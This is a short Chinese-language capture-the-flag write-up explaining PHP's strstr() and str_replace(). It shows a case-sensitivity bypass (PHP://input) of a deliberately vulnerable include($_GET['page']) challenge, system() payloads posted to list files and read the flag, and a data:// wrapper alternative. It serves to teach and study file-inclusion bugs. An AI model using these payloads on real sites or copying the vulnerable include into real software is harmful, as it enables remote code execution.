0x00 簡介
記錄這個題純粹是為了記錄以下有關strstr()函數的相關知識。
0x01 題目
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
其中的涉及了兩個函數:strstr()函數、str_replace()函數。
strstr函數:strstr(字符串,你要搜索的內容,false)
括號里面有三個部分:
1.字符串:也就是上面的$page。例如:在url后面添加 /?page=123456,那么$page的內容就是123456。
2.你要搜索的內容:也就是題目中的php://。意思就是該函數會從$page的內容里去尋找php://,而這里是一個while語句,一旦查找到php://,那么就會執行大括號里面的語句。
例如:我的url是
http://111.198.29.45:50769/?page=php.php://input
那么傳入的$page的內容就是php://input,而前面的“php.”就會被丟棄。
3.false:我這里寫false的原因是該參數默認是false。也就是一般情況只需要寫前兩個參數即可。false代表匹配到php://之后,會輸出php://和之后的內容。而如果為true,則會輸出“php.”,也就是php://前面的內容。
注:strstr函數對大小寫敏感,也就是會區分大小寫。
str_replace函數:這個函數的作用是將匹配到的php://全部替換為空。
例如:str_replace(“1”,“2”,“123”)會輸出223。因為會將全部的1替換為2。(同樣區分大小寫)
解法就不細說了,本意只是為了記錄一下函數。
將php://改為PHP://即可,因為strstr函數對大小寫敏感。
http://111.198.29.45:50769/?page=PHP://input
burp抓包,post傳參:<?php system("ls");?>
就會看到3個文件,再使用<?php system("cat fl4gisisish3r3.php");?>便能拿到flag。
然后就是還可以利用data://偽協議來解題。
data://偽協議
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼
使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)